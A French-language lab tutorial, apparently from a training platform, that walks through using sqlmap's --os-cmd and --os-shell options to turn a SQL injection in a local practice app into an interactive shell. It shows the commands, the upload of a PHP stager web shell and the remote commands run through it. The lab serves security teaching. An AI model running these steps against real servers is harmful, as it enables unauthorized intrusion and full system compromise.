Introduction
Dans ce laboratoire, vous apprendrez à utiliser sqlmap, un outil populaire de test d'intrusion open-source, pour transformer une vulnérabilité d'injection SQL en un shell système interactif complet. Bien que sqlmap soit excellent pour énumérer et exfiltrer des données des bases de données, ses capacités s'étendent au contrôle du serveur sous-jacent.
Nous nous concentrerons sur la fonctionnalité --os-shell, qui tente de téléverser un web shell (un stager) sur le serveur cible, vous fournissant une invite de commande pour interagir directement avec le système distant. Pour ce laboratoire, une application web simple, vulnérable à l'injection SQL, a été configurée et est en cours d'exécution sur votre machine locale.
Confirmer la possibilité d'exécution de commandes OS
Dans cette étape, avant de tenter d'obtenir un shell interactif complet, nous allons d'abord vérifier que nous pouvons exécuter des commandes sur le système d'exploitation cible. C'est une vérification préliminaire cruciale. Nous pouvons y parvenir en utilisant l'option --os-cmd dans sqlmap, qui demande à l'outil d'exécuter une seule commande spécifiée.
Nous utiliserons la commande whoami, qui affiche le nom d'utilisateur effectif de l'utilisateur actuel. Nous utiliserons également l'option --batch pour laisser sqlmap s'exécuter avec ses réponses par défaut à toutes les questions interactives, ce qui accélérera le processus.
Exécutez la commande suivante dans votre terminal :
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
Vous verrez beaucoup de sorties pendant que sqlmap teste la cible. Attendez qu'il ait terminé. Vers la fin de la sortie, vous devriez voir le résultat de la commande whoami.
...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...
La sortie labex confirme que nous pouvons exécuter avec succès des commandes sur le serveur distant en tant qu'utilisateur labex.
Utiliser l'option --os-shell pour demander un shell interactif
Dans cette étape, nous allons préparer la commande pour obtenir un shell interactif complet. Maintenant que nous avons confirmé que l'exécution de commandes OS est possible, nous pouvons procéder avec plus de confiance.
L'option sqlmap pour cela est --os-shell. Lorsque cette option est utilisée, sqlmap tentera de téléverser un "stager", qui est un petit morceau de code (dans ce cas, un web shell PHP), dans un répertoire inscriptible sur le serveur web. Ce stager fournit alors le mécanisme pour un shell de commande interactif.
La commande que nous utiliserons est :
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
Lorsque vous exécuterez cette commande à l'étape suivante, sqlmap vous guidera à travers quelques invites pour déterminer la meilleure façon de téléverser le stager. Nous n'exécuterons pas la commande dans cette étape, mais nous comprendrons simplement son objectif.
Exécuter la commande pour lancer le shell
Dans cette étape, vous allez exécuter la commande pour lancer le shell interactif. sqlmap vous demandera votre saisie pour déterminer le langage de l'application web et la racine du document du serveur (le dossier principal du site web).
Tout d'abord, exécutez la commande dans votre terminal :
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
sqlmap va démarrer et pourrait vous poser quelques questions.
Il pourrait vous interroger sur le SGBD back-end. Vous pouvez appuyer sur Entrée pour accepter la valeur par défaut qu'il a probablement déjà détectée (par exemple, SQLite).
Il vous demandera ensuite la racine du document du serveur web. C'est une étape critique. sqlmap a besoin de connaître un répertoire inscriptible pour téléverser son web shell. D'après notre script de configuration, le chemin correct est
/home/labex/project/vulnerable_app.[?] what is the web server document root? [/var/www/html] >Tapez le chemin suivant et appuyez sur Entrée :
/home/labex/project/vulnerable_app
Après avoir fourni le chemin, sqlmap tentera de téléverser le stager. Si cela réussit, vous verrez des messages indiquant le téléversement et vous serez placé dans une nouvelle invite : os-shell>.
...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>
Cette invite os-shell> est votre shell interactif sur le serveur distant.
Interagir avec le système distant via l'invite de shell sqlmap
Dans cette étape, vous allez interagir avec le système distant en utilisant l'invite os-shell> que vous venez d'obtenir. Cette invite n'est pas votre terminal local ; chaque commande que vous tapez ici est envoyée au serveur distant et exécutée.
Exécutons quelques commandes simples pour vérifier notre accès.
Tout d'abord, découvrez le répertoire de travail actuel sur le serveur distant en tapant pwd et en appuyant sur Entrée.
os-shell > pwd
La sortie devrait être le répertoire où sqlmap a téléversé son fichier stager.
/home/labex/project/vulnerable_app
Ensuite, confirmez à nouveau votre identité utilisateur sur le système distant en tapant whoami.
os-shell > whoami
La sortie devrait être à nouveau labex.
labex
Vous avez maintenant exécuté avec succès des commandes de manière interactive sur le système cible.
Exécuter plusieurs commandes et explorer le système de fichiers
Dans cette étape, vous allez effectuer une exploration plus approfondie du système de fichiers distant. Un shell interactif est puissant car il vous permet de naviguer dans les répertoires, de visualiser les fichiers et de comprendre la structure du serveur.
Tout d'abord, listez le contenu du répertoire actuel (/home/labex/project/vulnerable_app) en format long à l'aide de la commande ls -l.
os-shell > ls -l
Vous verrez les fichiers de ce répertoire, y compris index.php, users.db, et le web shell PHP temporaire téléversé par sqlmap (par exemple, tmpueyge.php).
total 20
-rw-r--r-- 1 labex labex 539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex 45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db
Maintenant, essayons de naviguer dans le système de fichiers. Montez au répertoire parent (/home/labex/project) en utilisant la commande cd ...
os-shell > cd ..
Vous ne verrez aucune sortie, mais votre répertoire actuel sur le serveur distant a changé. Vérifiez cela en listant le contenu du nouveau répertoire.
os-shell > ls
Vous devriez voir le répertoire vulnerable_app listé.
vulnerable_app
Vous êtes maintenant libre d'explorer le système de fichiers dans les limites des permissions de l'utilisateur labex. Pour quitter le shell sqlmap et revenir à votre terminal normal, tapez simplement exit et appuyez sur Entrée.
Résumé
Dans ce laboratoire, vous avez réussi à escalader une vulnérabilité d'injection SQL pour obtenir un accès complet en ligne de commande à un serveur distant. Vous avez appris à :
- Utiliser le drapeau
--os-cmdde sqlmap pour confirmer que l'exécution de commandes système est possible. - Employer le drapeau
--os-shellpour demander à sqlmap d'établir un shell interactif. - Fournir les informations nécessaires, comme la racine du document du serveur web, pour faciliter le téléversement d'un web shell.
- Interagir avec le système distant en exécutant des commandes telles que
pwd,whoami,ls, etcdvia le shell sqlmap.
Cet exercice démontre le risque de sécurité critique posé par les vulnérabilités d'injection SQL, car elles peuvent conduire non seulement au vol de données, mais aussi à un compromis complet du système.


